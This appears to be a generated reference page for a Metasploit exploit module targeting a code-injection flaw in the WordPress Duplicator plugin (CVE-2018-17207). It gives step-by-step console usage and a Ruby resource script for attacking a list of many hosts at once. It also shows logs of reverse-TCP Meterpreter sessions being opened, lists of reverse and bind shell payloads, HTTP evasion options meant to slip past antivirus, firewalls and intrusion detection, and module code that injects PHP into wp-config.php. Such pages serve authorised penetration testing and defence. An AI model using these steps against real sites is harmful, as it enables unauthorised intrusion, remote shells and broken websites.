Snap Creek Duplicator WordPress plugin code injection - Metasploit
This page contains detailed information about how to use the exploit/multi/php/wp_duplicator_code_inject metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Snap Creek Duplicator WordPress plugin code injection
Module: exploit/multi/php/wp_duplicator_code_inject
Source code: modules/exploits/multi/php/wp_duplicator_code_inject.rb
Disclosure date: 2018-08-29
Last modification time: 2021-10-29 17:22:12 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-17207
When the WordPress plugin Snap Creek Duplicator restores a backup, it leaves dangerous files in the filesystem such as installer.php and installer-backup.php. These files allow anyone to call a function that overwrite the wp-config.php file AND this function does not sanitize POST parameters before inserting them inside the wp-config.php file, leading to arbitrary PHP code execution. WARNING: This exploit WILL break the wp-config.php file. If possible try to restore backups of the configuration after the exploit to make the WordPress site work again.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
Using wp_duplicator_code_inject against a single host
Normally, you can use exploit/multi/php/wp_duplicator_code_inject this way:
msf > use exploit/multi/php/wp_duplicator_code_inject
msf exploit(wp_duplicator_code_inject) > show targets
... a list of targets ...
msf exploit(wp_duplicator_code_inject) > set TARGET target-id
msf exploit(wp_duplicator_code_inject) > show options
... show and set options ...
msf exploit(wp_duplicator_code_inject) > exploit
Using wp_duplicator_code_inject against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your wp_duplicator_code_inject will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/php/wp_duplicator_code_inject")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Duplicator by Snap Creek is a WordPress plugin that can be used to create a complete backup of a WordPress instance and restore it on a fresh server. The export method generates 2 files:
* An ZIP archive with the complete WordPress files and Duplicator specific files:
* A copy of the installer.php
script: installer-backup.php
* A SQL script that will be used to restore the database content: database.sql
* An installer PHP script to restore the archive installer.php
When the installer.php
completes its process, the following files remain in the directory and has to be manually deleted:
* The ZIP archive
* database.sql
* installer-backup.php
* installer-data.sql
* installer-log.txt
* installer.php
WARNING: exploiting the vulnerability will overwrite the wp-config.php file, breaking the WordPress instance.
Install a vulnerable version of WordPress Duplicator (<= 1.2.40) and create a backup.
Put the install.php
and archive files on a clean web server.
Verification Steps
Confirm that functionality works:
1. Start msfconsole
2. use exploit/multi/php/wp_duplicator_code_inject
3. Set the RHOST
.
4. Confirm the target is vulnerable: check
5. Confirm that the target is vulnerable: The target is vulnerable.
6. Set a payload: set PAYLOAD php/meterpreter/reverse_tcp
7. Set LHOST
and LPORT
8. Run the exploit: run
9. Confirm you have now a meterpreter session
Options
TARGETURI
The path to the installer.php file to exploit By default, the path is /installer.php
.
Scenarios
Debian 9 running WordPress 4.9.8 with Duplicator 1.2.40
msf5 > use exploit/multi/php/wp_duplicator_code_inject
msf5 exploit(multi/php/wp_duplicator_code_inject) > set rhosts 192.168.37.247
rhosts => 192.168.37.247
msf5 exploit(multi/php/wp_duplicator_code_inject) > set targeturi /wordpress/installer.php
targeturi => /wordpress/installer.php
msf5 exploit(multi/php/wp_duplicator_code_inject) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/php/wp_duplicator_code_inject) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Checking if the wp-config.php file already exists...
[*] All good! Injecting PHP code in the wp-config.php file...
[*] Requesting wp-config.php to execute the payload...
[*] Sending stage (38247 bytes) to 192.168.37.247
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.247:1251) at 2018-12-11 11:46:16 -0600
[*] Attempting to recreate wp-config file...
[*] Found archive name 20181127_test_site_126e49aaa44976fa5226181127215223_archive.zip
[*] Successfully created the wp-config.php file!
meterpreter > sysinfo
Computer : WIN-0FAJA14JLP4
OS : Windows NT WIN-0FAJA14JLP4 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the multi/php/wp_duplicator_code_inject exploit module looks in the msfconsole:
msf6 > use exploit/multi/php/wp_duplicator_code_inject
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/php/wp_duplicator_code_inject) > show info
Name: Snap Creek Duplicator WordPress plugin code injection
Module: exploit/multi/php/wp_duplicator_code_inject
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2018-08-29
Provided by:
Julien Legras <[email protected]>
Thomas Chauchefoin <[email protected]>
Available targets:
Id Name
-- ----
0 WordPress Duplicator <= 1.2.40
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /installer.php yes The TARGETURI where installer.php or installer-backup.php is located
TIMEOUT 40 yes Timeout for web requests
VHOST no HTTP server virtual host
Payload information:
Description:
When the WordPress plugin Snap Creek Duplicator restores a backup,
it leaves dangerous files in the filesystem such as installer.php
and installer-backup.php. These files allow anyone to call a
function that overwrite the wp-config.php file AND this function
does not sanitize POST parameters before inserting them inside the
wp-config.php file, leading to arbitrary PHP code execution.
WARNING: This exploit WILL break the wp-config.php file. If possible
try to restore backups of the configuration after the exploit to
make the WordPress site work again.
References:
https://www.synacktiv.com/ressources/advisories/WordPress_Duplicator-1.2.40-RCE.pdf
https://wpscan.com/vulnerability/9123
https://nvd.nist.gov/vuln/detail/CVE-2018-17207
Module Options
This is a complete list of options available in the multi/php/wp_duplicator_code_inject exploit:
msf6 exploit(multi/php/wp_duplicator_code_inject) > show options
Module options (exploit/multi/php/wp_duplicator_code_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /installer.php yes The TARGETURI where installer.php or installer-backup.php is located
TIMEOUT 40 yes Timeout for web requests
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress Duplicator <= 1.2.40
Advanced Options
Here is a complete list of advanced options supported by the multi/php/wp_duplicator_code_inject exploit:
msf6 exploit(multi/php/wp_duplicator_code_inject) > show advanced
Module advanced options (exploit/multi/php/wp_duplicator_code_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/php/wp_duplicator_code_inject module can exploit:
msf6 exploit(multi/php/wp_duplicator_code_inject) > show targets
Exploit targets:
Id Name
-- ----
0 WordPress Duplicator <= 1.2.40
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/php/wp_duplicator_code_inject exploit:
msf6 exploit(multi/php/wp_duplicator_code_inject) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/php/wp_duplicator_code_inject exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/php/wp_duplicator_code_inject) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Connection failed
- Server responded with <RESPONSE.CODE>
- Failed to retrieve the archive name, cannot create the wp-config.php file.
- Failed to retrieve the archive name, cannot create the wp-config.php file.
- The archive file <ARCHIVE_NAME> was probably deleted.
- This WordPress was not restored. Creating the wp-config.php file...
- Failed to inject PHP code in wp-config.php...
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
59:
60: vprint_status("Checking URI #{rhost + tpath}")
61: response = send_request_cgi({ 'uri' => tpath }, timeout = datastore['TIMEOUT'])
62:
63: unless response
64: vprint_error 'Connection failed'
65: return CheckCode::Unknown
66: end
67:
68: unless response.code == 200
69: vprint_error("Server responded with #{response.code}")
Server responded with <RESPONSE.CODE>
Here is a relevant code snippet related to the "Server responded with <RESPONSE.CODE>" error message:
64: vprint_error 'Connection failed'
65: return CheckCode::Unknown
66: end
67:
68: unless response.code == 200
69: vprint_error("Server responded with #{response.code}")
70: return CheckCode::Safe
71: end
72:
73: version = response.body.to_s.scan(/version: ([^<]*)</).last.first
74: if Rex::Version.new(version) <= Rex::Version.new("1.2.40")
Failed to retrieve the archive name, cannot create the wp-config.php file.
Here is a relevant code snippet related to the "Failed to retrieve the archive name, cannot create the wp-config.php file." error message:
80:
81: def create_wp_config_file
82: # 1. GET the installer.php to retrieve the archive name.
83: response = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI']) }, timeout = datastore['TIMEOUT'])
84: unless response && response.code == 200
85: fail_with(Failure::NotFound, "Failed to retrieve the archive name, cannot create the wp-config.php file.")
86: end
87: archive_name = response.body.to_s.scan(/value="([^"]*.zip)"/).flatten.first
88: if archive_name.blank?
89: fail_with(Failure::NotFound, "Failed to retrieve the archive name, cannot create the wp-config.php file.")
90: end
Failed to retrieve the archive name, cannot create the wp-config.php file.
Here is a relevant code snippet related to the "Failed to retrieve the archive name, cannot create the wp-config.php file." error message:
84: unless response && response.code == 200
85: fail_with(Failure::NotFound, "Failed to retrieve the archive name, cannot create the wp-config.php file.")
86: end
87: archive_name = response.body.to_s.scan(/value="([^"]*.zip)"/).flatten.first
88: if archive_name.blank?
89: fail_with(Failure::NotFound, "Failed to retrieve the archive name, cannot create the wp-config.php file.")
90: end
91:
92: print_status("Found archive name #{archive_name}")
93:
94: # 2. Perform the 1st step to actually create the wp-config.php file.
The archive file <ARCHIVE_NAME> was probably deleted.
Here is a relevant code snippet related to the "The archive file <ARCHIVE_NAME> was probably deleted." error message:
104: 'archive_filetime' => "current",
105: 'logging' => "1"
106: }
107: }, timeout = datastore['TIMEOUT'])
108: unless response && response.code == 200
109: fail_with(Failure::Unknown, "The archive file #{archive_name} was probably deleted.")
110: end
111:
112: print_status("Successfully created the wp-config.php file!")
113: end
114:
This WordPress was not restored. Creating the wp-config.php file...
Here is a relevant code snippet related to the "This WordPress was not restored. Creating the wp-config.php file..." error message:
116: print_status("Checking if the wp-config.php file already exists...")
117: tpath_wp_config = normalize_uri(datastore['TARGETURI'] + '/../wp-config.php')
118: response = send_request_cgi({ 'uri' => tpath_wp_config }, timeout = datastore['TIMEOUT'])
119:
120: if response && response.code == 404 # we have to perform action_step 1 to create the wp-config.php file.
121: print_status("This WordPress was not restored. Creating the wp-config.php file...")
122: create_wp_config_file
123: end
124:
125: # 2. Exploit the code injection.
126: print_status("All good! Injecting PHP code in the wp-config.php file...")
Failed to inject PHP code in wp-config.php...
Here is a relevant code snippet related to the "Failed to inject PHP code in wp-config.php..." error message:
140:
141: if response && response.code == 200
142: print_status("Requesting wp-config.php to execute the payload...")
143: send_request_cgi({ 'uri' => tpath_wp_config }, timeout = datastore['TIMEOUT'])
144: else
145: print_error("Failed to inject PHP code in wp-config.php...")
146: end
147: end
148:
149: def on_new_session(client)
150: if client.type.eql?('meterpreter')
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12158 Merged Pull Request: Manually set
needs_cleanup
for exploits that need it
References
- https://www.synacktiv.com/ressources/advisories/WordPress_Duplicator-1.2.40-RCE.pdf
- WPVDB-9123
- CVE-2018-17207
See Also
Check also the following modules related to this module:
- exploit/multi/http/wp_ait_csv_rce
- exploit/multi/http/wp_catch_themes_demo_import
- exploit/multi/http/wp_crop_rce
- exploit/multi/http/wp_db_backup_rce
- exploit/multi/http/wp_dnd_mul_file_rce
- exploit/multi/http/wp_file_manager_rce
- exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
- exploit/multi/http/wp_plugin_backup_guard_rce
- exploit/multi/http/wp_plugin_elementor_auth_upload_rce
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/multi/http/wp_plugin_sp_project_document_rce
- exploit/multi/http/wp_popular_posts_rce
- exploit/multi/http/wp_responsive_thumbnail_slider_upload
- exploit/multi/http/wp_simple_file_list_rce
- exploit/multi/php/ignition_laravel_debug_rce
- exploit/multi/php/php_unserialize_zval_cookie
- exploit/multi/misc/java_jdwp_debugger
- exploit/linux/http/hp_van_sdn_cmd_inject
- exploit/linux/http/librenms_addhost_cmd_inject
- exploit/linux/http/librenms_collectd_cmd_inject
- exploit/multi/fileformat/swagger_param_inject
- exploit/windows/http/advantech_iview_networkservlet_cmd_inject
- exploit/windows/local/payload_inject
- auxiliary/scanner/http/wp_duplicator_file_read
Authors
- Julien Legras <[email protected]>
- Thomas Chauchefoin <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.